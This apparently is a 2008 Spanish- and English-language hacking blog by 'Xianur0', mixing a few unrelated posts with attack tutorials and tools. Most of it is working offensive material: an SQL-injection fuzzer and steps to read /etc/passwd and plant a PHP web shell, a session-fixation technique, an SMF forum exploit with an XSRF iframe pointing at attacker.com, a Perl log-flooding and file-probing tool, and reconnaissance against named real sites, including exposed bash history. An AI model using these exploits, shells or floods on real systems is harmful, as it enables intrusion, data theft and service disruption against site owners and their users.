Feliz Navidad Cabrones!!!!

Posted on 12:41 by Xianur0

Atacando Headers HTTP By Xianur0

Posted on 22:01 by Xianur0

me da la vagancia de pasarlo a html y publicarlo aqui, asi que les dejo el link al foro donde publique el paper...

http://foro.infiernohacker.com/index.php/topic,9186.msg52246/topicseen.html

Proyecto w3af

Posted on 12:45 by Xianur0

pues estuve revisando mis correos cuando vi un mail de uno de los lectores del blog, y pues me comento de este proyecto, que sinceramente me paresio muy interesante:

El 11 de diciembre de 2008 12:27, José Ramón Palanco escribió:
Buenas,

que tal, llevo unas semanas siguiendo tu blog y es muy entretenido.
Me gustaría hablarte de un proyecto software libre en el que estamos
desarrollando, se llama w3af y es un framework de test de intrusion
web en python. Si no lo conoces estoy seguro de que te gustará. Por
otro lado si quieres hacer cualquier aportación, solo tienes que
enviarlo a la lista.

Web del proyecto: http://w3af.sf.net

les recomiendo leer la web del proyecto, es realmente muy bueno, aunque se le podrían agregar algunas cosas.

Felicidades a los miembros de ese proyecto :)..

Backdoors En Sesiones PHP By Xianur0

Posted on 16:24 by Xianur0

Backdoors En Sesiones PHP By Xianur0

Simple, esto consiste en una mezcla de XSRF y Un mini Bug en las sessiones PHP
Que necesitamos?, simplemente que la web utilice sessiones y un clic del admin.

Vamos por un inicio, envenenar un sistema, solo se necesita de:

Código:
session_start();

localizamos un codigo con esa funcion publica, se necesita únicamente enviar una session falsa al servidor este la creara y sera utilizada por el usuario mientras dicha session exista en el servidor victima.


Código:
GET /vuln.php HTTP/1.1
Host: victima.com
Cookie: PHPSESSID=xianur0


En cuanto el servidor reciba esa consulta la funcion: session_start() de PHP, creara dicha session dentro del servidor (es recomendable haberla seteado en el navegador, para lo cual hay muchos metodos, pero ahora solo dare teoría).

entonces, ahora si esta seteada la session en el navegador y el usuario se logea en el servidor (el php usando sessiones para ello), la session xianur0 conteneria los datos:

Código:
$_SESSION['is_admin']="true";
?>

dentro del archivo sess_xianur0 se encontrara esto:

Citar
is_admin|s:4:"true";

entonces la session ya contiene los datos del usuario, ahora podemos usar dicha session (ya sabemos que la session es xianur0 jejeje).

Filtrado de Caracteres Mediante ASCII y PHP

Posted on 18:27 by Xianur0



<?php
function detectar($ascii) {
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = ord($ascii{$i});
if($byte >=48 && $byte <=57 || $byte >=64 && $byte <=90 || $byte >=97 && $byte <=122 || $byte == 46) {
$hex .= chr($byte);
} else { print "Injeccion de Caracteres Detectado!\n"; exit; }
}
return $hex;
}

foreach($_GET as $var => $value) {
$value = detectar($value);
$_GET[$var] = $value;
}

foreach($_POST as $var => $value) {
$value = detectar($value);
$_GET[$var] = $value;
}
?>



solo pasan letras, arroba, números (ni espacios pasan xD).

Multiples Tecnicas de Bypass

Posted on 14:59 by Xianur0

Esta lista la iré llenando, pero por ahora pondré un vídeo (con sus respectivas herramientas que use de ejemplo).


Bypass

nota: Actualizado el vídeo, el anterior no se veía.

Economia For Dummies

Posted on 10:27 by Xianur0

Felicidades a Ramón Redondo de Geek In Love
(clic en la imagen para ver completa)



Liquidez: En economía la liquidez representa la cualidad de los activos para ser convertidos en dinero efectivo de forma inmediata sin pérdida significativa de su valor.

Activos: Bienes con valor comercial que una compañía posee y que aparecen en su balance general, con inclusión de dinero en efectivo, equipo, inventario, etc.

Rootear Servidor Mediante SQL Injection

Posted on 19:05 by Xianur0

No es tanto como rootear pero si se puede subir shell jeje..

Xianur0 ~ # perl fuzzer.pl http://localhost/vuln.php?id=
Imprime Columna: 0
Imprime Columna: 1
Imprime Columna: 2
URI Generado:
http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0),concat(0x46757a7a657242795869616e757230,1),concat(0x46757a7a657242795869616e757230,2)


(utilizamos el mismo script que en el ultimo manual de SQL Injection que publique)

Fuzzer.pl:



#!/usr/bin/perl
#By Xianur0
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
my $uri = $ARGV[0];
$uri = shift || die("Uso: fuzzer.pl [URI a SQL Injection]\n");
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16");
my $inyeccion = "-10/**/UNION/**/SELECT/**/concat(0x46757a7a657242795869616e757230,0)";
$uri .= "$inyeccion";
for($i=1; $i<1000;$i++) {
$uri .= ",concat(0x46757a7a657242795869616e757230,$i)";
$req = HTTP::Request->new(GET => $uri);
$req->header('Accept' => 'text/html');
$res = $ua->request($req);
if($res->content !~ "The used SELECT statements have a different number of columns") {
for($o=0; $o<=$i;$o++) {
if($res->content =~ "FuzzerByXianur0$o") {
print "Imprime Columna: $o\n";
}
} die "URI Generado: \n$uri\n";}}



ya que tenemos las tablas a donde imprime vamos a comenzar a recolectar informacion:

http://localhost/vuln.php?id=-10/**/UNION/**/SELECT/**/load_file(0x2f6574632f706173737764),1,2

nota:
0x2f6574632f706173737764 es el equivalente a /etc/passwd en hexadecimal

Si tenemos permisos de leer el archivo nos lo cargara.

Suponiendo que tenemos el directorio donde se encuentra la web tambien podemos leer archivos con datos interesantes, por ejemplo en este ejemplo podemos sacar la password del MySQL, la cual se encuentra en este archivo que estamos usando para el ejemplo, y sabiendo que la ruta es: /opt/lampp/htdocs/vuln.php



ahora podemos conectarnos al servidor MySQL.

<html>
<body>
<?php
function conectado()
{
print '<h1>Conectado!</h1><form action="" method="POST">
<textarea rows="10" cols="40" name="comando"></textarea><br>
<input type="submit" value="xEcut!">
</form>';
}

function inicio() {
print '<form action="" method="GET">
<b>Server: <input type="text" name=server><br>
User: <input type="text" name=user><br>
Password: <input type="text" name=passwd><br>
DB: <input type="text" name=db><br>
<input type="submit" value="Conectar">
</form>';
}

$link = mysql_connect($_GET['server'], $_GET['user'], $_GET['passwd']);
$conectado = mysql_select_db($_GET['db'], $link);
if($conectado) conectado();
if(isset($_POST['comando'])) {
$result = mysql_query($_POST['comando'], $link);
while ($row = mysql_fetch_row($result)){
echo '<textarea rows="10" cols="40">';
foreach($row as $indice => $valor) print $valor."\n";
print '</textarea><br>';
}
} else inicio();
?>
</body>
</html>


Tambien podemos crear archivos en el servidor, como por ejemplo:

http://127.0.0.1/vuln.php?id=-10/**/UNION/**/SELECT/**/0,1,0x3c3f7068700d0a696e636c75646528277368656c6c27293b0d0a3f3e/**/INTO/**/OUTFILE/**/'
/opt/lampp/htdocs/shell.php'

Usemos La Shell:

http://127.0.0.1/shell.php?shell=/etc/passwd

Resultado:
root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/:/bin/false news:x:9:13:news:/usr/lib/news:/bin/false uucp:x:10:14:uucp:/var/spool/uucppublic:/bin/false operator:x:11:0:operator:/root:/bin/bash games:x:12:100:games:/usr/games:/bin/false ftp:x:14:50::/home/ftp:/bin/false smmsp:x:25:25:smmsp:/var/spool/clientmqueue:/bin/false mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash rpc:x:32:32:RPC portmap user:/:/bin/false sshd:x:33:33:sshd:/:/bin/false gdm:x:42:42:GDM:/var/state/gdm:/bin/bash apache:x:80:80:User for Apache:/srv/httpd:/bin/false messagebus:x:81:81:User for D-BUS:/var/run/dbus:/bin/false haldaemon:x:82:82:User for HAL:/var/run/hald:/bin/false pop:x:90:90:POP:/:/bin/false nobody:x:99:99:nobody:/:/bin/false

También podemos poner en vez de /etc/passwd la url a una shell php.

suponiendo que no tenemos acceso a editar esa carpeta, bueno podemos crear el php en el directorio tmp, y llamar la shell mediante un LFI (por dar un ejemplo).

tambien se puede sacar las DBs enteras mediante load_file(), ya que los archivos de la DB se localizan en: /var/mysql/
Los archivos mas interesantes son los: .MYD jeje, solo recuerden que no están del todo ordenados (están llenos de caracteres ilegibles humanamente hablando).

Pero para ello programe un codigo para eliminar dichos caracteres:


<?php
print "<title>Purificador de Caracteres By Xianur0</title><h1>Purificador de Caracteres By Xianur0</h1><form method='POST'><textarea rows='10' cols='30' name='code'></textarea><br><input type='submit' value='Limpiar!'></form>";
function ascii2hex($ascii) {
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = ord($ascii{$i});
if($byte >=21 && $byte <=126) {
$hex .= chr($byte);
}}
return $hex;
}

if(isset($_POST['code'])) print "<br><b>Texto Limpiado: <br></b>".htmlentities(ascii2hex($_POST['code']));
?>


Nota:
Vengador de las Sombras te voy a mandar a estudiar geometría xD.
http://es.wikipedia.org/wiki/Pentagrama_(geometr%C3%ADa)


lo posteo tal cual lo envie a milw0rm :)..

0days jejje

Author: Xianur0
Affected Versions: All
Vendors: Simple Machine Forums
Vendors Webpage: http://www.simplemachines.org/

XSRF PoC (http://attacker.com/packages.xml):


<?xml version="1.0"?>
<!DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list">
<!-- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
XSRF PoC By Xianur0
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -->

<package-list xmlns="http://www.simplemachines.org/xml/package-list" xmlns:smf="http://www.simplemachines.org/">
<list-title>Xianur0 Was Here</list-title>

<section>
<title>SMF XSS PoC By Xianur0</title>
<text><![CDATA[<script>alert('XSS')</script>]]></text>
<modification>
<id>Xianur0:XSMF</id>
<name>SMF PoC By Xianur0</name>
<filename>smfexploit.zip</filename>
<version>0.1</version>
<author email="uxmal666@gmail.com">Xianur0</author>
<description><![CDATA[<script>alert(document.cookie)</script>]]></description>
</modification>
</section>
</package-list>



XSRF:

Código:


<iframe src ="http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com" width="0%" scrolling=no width=0%></iframe>





Others Details:

The Log Errors basically keeps any minimum error caused by users, good and if it saturated?

http://www.web.com/foro/index.php?action=help;page[]=loginout
(Full path disclosure)
This created a record of error in the log:

2: Illegal offset type in isset or empty
File: /var/www/xxxxxxxxxxxxxx.com/htdocs/Sources/Help.php
Line: 65
?action=help;page[]=loginout


This error is in Sources/Help.php on line 65:



if (!isset($_GET['page']) || !isset($context['all_pages'][$
_GET['page']]))
$_GET['page'] = 'index';




Correction:

Código:


if (!is_array($_GET['page']) && !isset($_GET['page']) || !is_array($_GET['page']) && !isset($context['all_pages'][$_GET['page']]))
$_GET['page'] = 'index';



Errors handling packages:

Error handling packages for temporary, the SMF to upload a mod and run it makes a backup of each PHP file that is touched, but at the end of the amendment, not erased, then this can be accessed by any other user:

http://www.victima.com/index.php~
http://www.victima.com/Settings.php~

Error leaves Files:
Some of the SMF files are not protected as they should, for example:

http://www.victima.com/Packages/installed.list

This can be used for scan packet (many packets that are sent to SMF have security flaws such as XSS, SQL Inyection and in some cases RFI)

Getting Directory installation of SMF (useful for attacking free hostings)

http://www.victima.com/SSI.php?ssi_layers

Result:

Notice: Undefined variable: ssi_layers in/home/web/public_html/forum/SSI.php on line 99
Hacking attempt ...


It also serves to create heavy logs as these mistakes are stored directly on:

http://www.victima.com/error_log


Tool:


#!/usr/bin/perl

use LWP::UserAgent;
use Getopt::Std;


my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");


$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');

getopts('fplb', \%opt);
flood() if $opt{f};
path() if $opt{p};
list() if $opt{l};
temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split('Undefined variable: ssi_layers in <b>', $html);
my @htmls = split('SSI.php</b>', $htmls[1]);
if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}
}
}

sub flood {
print "Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Sent: ".$i."\n";
} else {
print "HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "Temporary File Found: ".$url."/".$temp."\n";
}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

www.carlosslim.com

Posted on 18:01 by Xianur0

Puertos abiertos:

PORT STATE SERVICE
23/tcp open telnet
25/tcp filtered smtp
53/tcp open domain
80/tcp open http
514/tcp open shell
554/tcp open rtsp
646/tcp filtered unknown
1755/tcp open wms
3128/tcp open squid-http

HTTP Proxy Transparent: www.carlosslim.com:3128
Telnet: www.carlosslim.com:23
Bash History: http://ns6.carlosslim.com/.bash_history


Analizando los DNS:

Xianur0 ~ # dig @ns6.carlosslim.com carlosslim.com ANY ; <<>> DiG 9.4.1 <<>> @ns6.carlosslim.com carlosslim.com ANY ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36506 ;; flags: qr aa rd; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 3 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;carlosslim.com. IN ANY ;; ANSWER SECTION: carlosslim.com. 86400 IN A 200.65.129.1 carlosslim.com. 86400 IN A 200.65.0.26 carlosslim.com. 86400 IN SOA ns6.carlosslim.com. dominios.telmex.com. 84 28800 7200 604800 600 carlosslim.com. 86400 IN MX 10 smtp.carlosslim.com. carlosslim.com. 86400 IN NS ns6.carlosslim.com. carlosslim.com. 86400 IN NS ns7.carlosslim.com. ;; ADDITIONAL SECTION: smtp.carlosslim.com. 86400 IN A 200.57.144.18 ns6.carlosslim.com. 86400 IN A 200.57.141.232 ns7.carlosslim.com. 86400 IN A 200.57.141.233 ;; Query time: 73 msec ;; SERVER: 200.57.141.232#53(200.57.141.232) ;; WHEN: Wed Nov 5 16:51:14 2008 ;; MSG SIZE rcvd: 221


Xianur0 ~ # nc -vv ns6.carlosslim.com 80
DNS fwd/rev mismatch: ns6.carlosslim.com != cust-200-57-141-232.triara.com
ns6.carlosslim.com [200.57.141.232] 80 (http) open
OPTIONS / HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Wed, 05 Nov 2008 23:59:31 GMT
Content-length: 0
Content-type: magnus-internal/directory
Allow: HEAD, GET

sent 36, rcvd 167

Xianur0 ~ # nc -vv ns7.carlosslim.com 80
DNS fwd/rev mismatch: ns7.carlosslim.com != cust-200-57-141-233.triara.com
ns7.carlosslim.com [200.57.141.233] 80 (http) open
TRACE / HTTP/1.1
Host: localhost

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Thu, 06 Nov 2008 00:04:44 GMT
Content-length: 37
Content-type: message/http

TRACE / HTTP/1.1
Host: localhost

sent 34, rcvd 174

Xianur0 ~ # dig @ns6.carlosslim.com localhost SOA

; <<>> DiG 9.4.1 <<>> @ns6.carlosslim.com localhost SOA
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16496 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;localhost. IN SOA ;; ANSWER SECTION: localhost. 86400 IN SOA tmpyap01.telmex.com. dominios.telmex.com. 1 28800 7200 604800 3600 ;; AUTHORITY SECTION: localhost. 86400 IN NS ns6.telmex.com. ;; ADDITIONAL SECTION: ns6.telmex.com. 600 IN A 200.57.141.232 ;; Query time: 685 msec ;; SERVER: 200.57.141.232#53(200.57.141.232) ;; WHEN: Wed Nov 5 17:12:21 2008 ;; MSG SIZE rcvd: 125

Busco Gente para Clan bitefight.es

Posted on 8:39 by Xianur0

Hola gente, ya se que es un juego muy friki xD... pero me envicie con el jaja

Servidor: 15
Clan: H.C.
Nombre del Clan: Hijos de Cain

algún interesado?, la entrada es publica xD...

Preparing an attack at an SMF

Posted on 8:02 by Xianur0

Victim: http://www.tinyportalmedia.com
Method: Unsafe handling packages
Used Tool: Tool For SMF Testing By Xianur0

Xianur0 cys # perl smf.pl
Use: smf.pl [option] [Full URL]
Options:
-f Flood
-p Search Directory Setup
-l Installed Mods List
-b Find Temporary

Xianur0 cys # perl smf.pl -p http://www.tinyportalmedia.com/main/
Directory: /home/strzxpz/public_html/main/

Xianur0 cys # perl smf.pl -b http://www.tinyportalmedia.com/main/
Temporary File Found: http://www.tinyportalmedia.com/main//index.php~
Temporary File Found: http://www.tinyportalmedia.com/main//Settings.php~
Temporary File Found: http://www.tinyportalmedia.com/main//Settings_bak.php~

Settings.php~ and Settings_bak.php~ are few false positives, but index.php~ is correct :) ..

Xianur0 cys # perl smf.pl -l http://www.tinyportalmedia.com/main/
Description: TinyPortal
File: http://www.tinyportalmedia.com/main//Packages/TP_0971.zip
Name: bloc:tinyportal
Version: 1.052

Description: SMF Staff Page
File: http://www.tinyportalmedia.com/main//Packages/staff.zip
Name: vbgamer45:SMFStaff
Version: 1.5.1

Description: Avatar on Member List
File: http://www.tinyportalmedia.com/main//Packages/avmemlist.zip
Name: alm:avonmemberlist
Version: 1.0

Description: Country Flags
File: http://www.tinyportalmedia.com/main//Packages/CountryFlag_1-0-2.tar.gz
Name: jaybachatero:country_flags
Version: 1.0.1

Description: Global Announcements
File: http://www.tinyportalmedia.com/main//Packages/GlobalAnnouncements_1-0_Final.tar.gz
Name: jaybachatero:ga
Version: 1.0

Description: Googlebot & Spiders Mod
File: http://www.tinyportalmedia.com/main//Packages/Googlebot_v2_0_3_only_smf1.1.x.zip
Name: obazavil:googlebot
Version: 2.0.3

Description: K-Detection
File: http://www.tinyportalmedia.com/main//Packages/K_Detection_v2.2.zip
Name: Nikola:K-Detection
Version: 2.2

Description: Karma Blocks Package V.04
File: http://www.tinyportalmedia.com/main//Packages/Karma_Blocks_Package_v0.4.zip
Name: Max:Karmablocks
Version: 0.4

Description: Bear Tabs
File: http://www.tinyportalmedia.com/main//Packages/bear_tabs1.zip
Name: Akulion:BearTabsMod
Version: 1.0

Description: Admin Notepad
File: http://www.tinyportalmedia.com/main//Packages/notepad.zip
Name: vbgamer45:AdminNotepad
Version: 1.0

Description: Member Notepad
File: http://www.tinyportalmedia.com/main//Packages/PersonalPad.zip
Name: vbgamer45:MemberNotepad
Version: 1.0

Description: Profile Comments
File: http://www.tinyportalmedia.com/main//Packages/ProfileComments.zip
Name: vbgamer45:ProfileComments
Version: 1.2.1

Description: Topic Ratings
File: http://www.tinyportalmedia.com/main//Packages/ratings.tar.gz
Name: grudge:ratings
Version: 1.03

Description: Topic Solved
File: http://www.tinyportalmedia.com/main//Packages/tsolved_v1.22.tar.gz
Name: grudge:topic_solved
Version: 1.22

Description: VisualWarning
File: http://www.tinyportalmedia.com/main//Packages/visualwarning132.zip
Name: Grudge:VisualWarning
Version: 1.32

Description: Zodiac_13Moon
File: http://www.tinyportalmedia.com/main//Packages/zodiac_13moon.zip
Name: koji:Zodiac_13Moon
Version: 2.0

Description: Inline Attachments
File: http://www.tinyportalmedia.com/main//Packages/InlineAttachmentMod_FromDonationCoderDotCom.zip
Name: mouser_at_donationcoder.com:inlineattachments
Version: 1.0.4.2

Description: SMFShop
File: http://www.tinyportalmedia.com/main//Packages/SMFShop_3-0_Fresh_Install.zip
Name: daniel15:SMFShop
Version: 3.0

Description: Personal Message Auto Responder
File: http://www.tinyportalmedia.com/main//Packages/pmAutoRespond_V0-2.zip
Name: MikeMill:pmAutoResponder
Version: 0.2

Description: Location Mod - Additional Maps
File: http://www.tinyportalmedia.com/main//Packages/gobalopper.locationmod.additionalmaps.zip
Name: gobalopper:locationmod.additional_maps
Version: 1.2

Description: SMF Gallery Pro
File: http://www.tinyportalmedia.com/main//Packages/smf_gallery_pro.zip
Name: vbgamer45:smfgallerypro
Version: 1.2.2

Description: SMF Gallery Pro Profile Link
File: http://www.tinyportalmedia.com/main//Packages/profilelink.zip
Name: vbgamer45:proprofilelink
Version: 1.0

Description: Welcome Topic Mod
File: http://www.tinyportalmedia.com/main//Packages/93WelcomeTopic.zip
Name: vbgamer45:WelcomeTopic
Version: 1.0

Description: SMF Links
File: http://www.tinyportalmedia.com/main//Packages/26links.zip
Name: vbgamer45:SMFLinks
Version: 1.6.3

Description: SMF Gallery Pro Recent Profile Images
File: http://www.tinyportalmedia.com/main//Packages/profileimages.zip
Name:
Version: 1.0

Description: SMF Gallery Pro Recent Comments Board Index
File: http://www.tinyportalmedia.com/main//Packages/recentcomments.zip
Name: vbgamer45:recentcommentsboardindex
Version: 1.0

Description: SMF Gallery Pro SSI
File: http://www.tinyportalmedia.com/main//Packages/smfgalleryssi.zip
Name: vbgamer45:smfgalleryprossi
Version: 1.1

Description: Enhanced Calendar
File: http://www.tinyportalmedia.com/main//Packages/Calendar_1-1.zip
Name: daniel15:Calendar
Version: 1.1

Description: MySpace Field
File: http://www.tinyportalmedia.com/main//Packages/myspace.zip
Name: snork13:MySpace
Version: 2.4

Description: DeviantART Field
File: http://www.tinyportalmedia.com/main//Packages/deviantART.zip
Name: stormlrd:DeviantART
Version: 1.0

Description: Profile User Action
File: http://www.tinyportalmedia.com/main//Packages/ProfileUserAction_v1.1.zip
Name: Rudolf:profileuseraction
Version: 1.1

Description: Add Custom Modifications to Aero
File: http://www.tinyportalmedia.com/main//Packages/aero.zip
Name: stormlrd:addmodstothemes
Version: 1.0

Description: Signature Dropdown Choices
File: http://www.tinyportalmedia.com/main//Packages/SignatureDropDownsV10.zip
Name: Kays:SignatureDropDowns
Version: 1.0

Description: Merge Double Posts
File: http://www.tinyportalmedia.com/main//Packages/DoublePostMerge107.zip
Name: din1031:DoublePostMerge
Version: 1.0.7

Description: Related Topics
File: http://www.tinyportalmedia.com/main//Packages/related_topics_1.1.1.zip
Name: Niko:RelatedTopic
Version: 1.1.1

Description: SMF Sitemap
File: http://www.tinyportalmedia.com/main//Packages/smf_sitemap_1.1.3.zip
Name: airridetalk:smf_sitemap
Version: 1.1.3

Description: Sci-Fi Avatars
File: http://www.tinyportalmedia.com/main//Packages/SciFi.zip
Name: Brandon:SciFi
Version: 1.0

Description: Google Member Map
File: http://www.tinyportalmedia.com/main//Packages/GoogleMap.template.zip
Name: TLM:GoogleMapsMod
Version: 0.55

Description: SMF 1.0.11 / 1.1.3 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.1.3_1.0.11.tar.gz
Name: smf:smf-1.0.11-1.1.3
Version: 1.1

Description: SMF Gallery Pro Upgrade
File: http://www.tinyportalmedia.com/main//Packages/SMFGalleryUpgrade1.2.2.zip
Name: vbgamer45:smfgalleryproupgrade122
Version: 1.3.21

Description: FelBlog for SMF
File: http://www.tinyportalmedia.com/main//Packages/felblog_940_smf.zip
Name: feline:FelBlog_SMF
Version: 0.941

Description: SMF Trader System
File: http://www.tinyportalmedia.com/main//Packages/12Trader.zip
Name: vbgamer45:SMFTraderSystem
Version: 1.1

Description: SMF 1.0.12 / 1.1.4 / 2.0 b1.1 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.12_1.1.4_2.0.b1.1.tar.gz
Name: smf:smf-1.0.12-1.1.4-2.0.b1.1
Version: 1.0

Description: User Email System
File: http://www.tinyportalmedia.com/main//Packages/useremail.zip
Name: vbgamer45:UserEmailSystem
Version: 1.2

Description: Contact Page
File: http://www.tinyportalmedia.com/main//Packages/contact.zip
Name: vbgamer45:ContactPage
Version: 1.1

Description: Bookmarks
File: http://www.tinyportalmedia.com/main//Packages/bookmarks101.zip
Name: aaronvg:bookmarks
Version: 1.0.1

Description: SMF Classifieds Recent Classifieds Board Index
File: http://www.tinyportalmedia.com/main//Packages/classboardindex.zip
Name: vbgamer45:recentclassboardindex
Version: 1.0

Description: SMF Classifieds
File: http://www.tinyportalmedia.com/main//Packages/SMF_Classifieds_1.0.10.zip
Name: vbgamer45:smfclassifieds
Version: 1.0.10

Description: MessagePreviewOnHover
File: http://www.tinyportalmedia.com/main//Packages/MessagePreviewOnHover.zip
Name: snork13:MessagePreviewOnHover
Version: 1.5

Description: Gallery 2 Integration
File: http://www.tinyportalmedia.com/main//Packages/smf_g2-Beta3.1.tar.gz
Name: Oldiesmann:Gallery2
Version: 1.0beta3.1

Description: SMF Store
File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2beta.zip
Name: vbgamer45:smfstore
Version: 1.2beta

Description: Add Domaintools to TrackIP
File: http://www.tinyportalmedia.com/main//Packages/domaintools.zip
Name: Marook:TrackIP_Add_Domaintools
Version: 1.0

Description: SMF Gallery Pro Light Box Addon
File: http://www.tinyportalmedia.com/main//Packages/lightbox.zip
Name: vbgamer45:lightbox
Version: 1.1

Description: E-Arcade
File: http://www.tinyportalmedia.com/main//Packages/E-Arcade2.5.0.zip
Name: Eric:Arcade
Version: 2.5.0

Description: SMFChess
File: http://www.tinyportalmedia.com/main//Packages/SMFChess_1.0.zip
Name: Feeble:SMFChess
Version: 1.0

Description: Member Color Link
File: http://www.tinyportalmedia.com/main//Packages/MemberColorLink216.zip
Name: din1031:MemberColorLink
Version: 2.1.6

Description: MCLegendII.2
File: http://www.tinyportalmedia.com/main//Packages/MCLegendII.2.zip
Name: JB:MCLII
Version: 2.0

Description: SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.tar.gz
Name: smf:smf-1.0.13-1.1.5-2.0.b3.1
Version: 1.0

Description: SMF Store Upgrade
File: http://www.tinyportalmedia.com/main//Packages/SMFStore1.2.1upgrade.zip
Name: vbgamer45:smfstoreupgrade
Version: 1.2.4

Description: SMF 1.0.14 / 1.1.6 Update
File: http://www.tinyportalmedia.com/main//Packages/smf_patch_1.0.14-1.1.6_1.zip
Name: smf:smf-1.0.14-1.1.6
Version: 1.0

Now is reviewing the package ... I see at least one with SQL Injection: P. ..

Saludos! :P...
Xianur0 Was Here xD...

Tool For SMF Testing

Posted on 7:32 by Xianur0



#!/usr/bin/perl

# By Xianur0

use LWP::UserAgent;
use Getopt::Std;


my $url = $ARGV[1] || die ("Use: smf.pl [Full URL] [option]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l Installed Mods List \n-b Find Temporary\n");


$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');

getopts('fplb', \%opt);
flood() if $opt{f};
path() if $opt{p};
list() if $opt{l};
temp() if $opt{b};

sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,
en;q=0.3');
}

sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split('Undefined variable: ssi_layers in <b>', $html);
my @htmls = split('SSI.php</b>', $htmls[1]);
if($htmls[0] ne "") { print "Directory: $htmls[0]\n"; } else { print "Getting error Directory!\n";}
}
}

sub flood {
print "Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET => $url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "Sent: ".$i."\n";
} else {
print "HTTP Error Query: " . $res->status_line . "\n";
}
}
}


sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "Temporary File Found: ".$url."/".$temp."\n";
}
}
}

sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "Description: $mod[0]\nFile: $url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";

}
}
}

XSRF Generator By Xianur0

Posted on 17:08 by Xianur0

mmm el hijo prodigio?


#!/usr/bin/perl

#By Xianur0
#uxmal666[at]gmail.com
use HTML::Parser;
$i = 1;
$b = 1;
my $parser = HTML::Parser->new(api_version=>3,
start_h=>[\&parsear, 'tag, attr'] ,);
print "\n\n Generador XSRF By Xianur0\n\n\n";

$file = $ARGV[0] || die("Use: xsrf.pl [File]\n");

open(FILE,$file) || die "No pudo abrirse: $!";
while(<FILE>) {
$html.= $_;
}
print "\nBuscando Campos....\n";
sub parsear {
my ($tag, $attr) = @_;
if($tag =~ "form") {
$name = $attr->{"name"};
